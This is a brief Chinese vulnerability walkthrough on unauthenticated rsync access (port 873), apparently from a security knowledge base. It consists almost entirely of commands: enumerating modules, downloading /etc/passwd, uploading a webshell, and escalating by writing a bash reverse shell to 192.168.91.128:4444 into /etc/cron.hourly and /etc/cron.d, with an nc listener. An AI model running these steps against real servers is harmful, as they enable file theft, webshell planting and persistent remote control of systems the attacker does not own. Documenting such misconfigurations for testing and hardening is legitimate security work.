Rsync 未授权访问漏洞¶
一、漏洞简介¶
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
rsync的常用命令
列举整个同步目录或指定目录:
rsync ip::
rsync ip::xxx/
下载文件或目录到本地:
rsync -avz ip::xxx/xx.php /root
rsync -avz ip::xxx/ /var/tmp
上传文件到服务器:
rsync -avz webshell.php ip::web/
二、漏洞影响¶
三、复现过程¶
nmap
先扫一波:
rsync rsync://www.0-sec.org:873/
rsync rsync://www.0-sec.org:873/src 来查看模块名列表
我们再列出src模块下的文件
rsync rsync://www.0-sec.org:873/src/
我们可以下载任意文件:
rsync -av rsync://www.0-sec.org:873/src/etc/passwd ./
提权:
写入shell
并赋权:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1
chmod +x shell
将shell
上传至/etc/cron.hourly
:
rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
rsync -av shell rsync://www.0-sec.org:873/src/etc/cron.d/shell
本地监听:
nc -nvv -lp 4444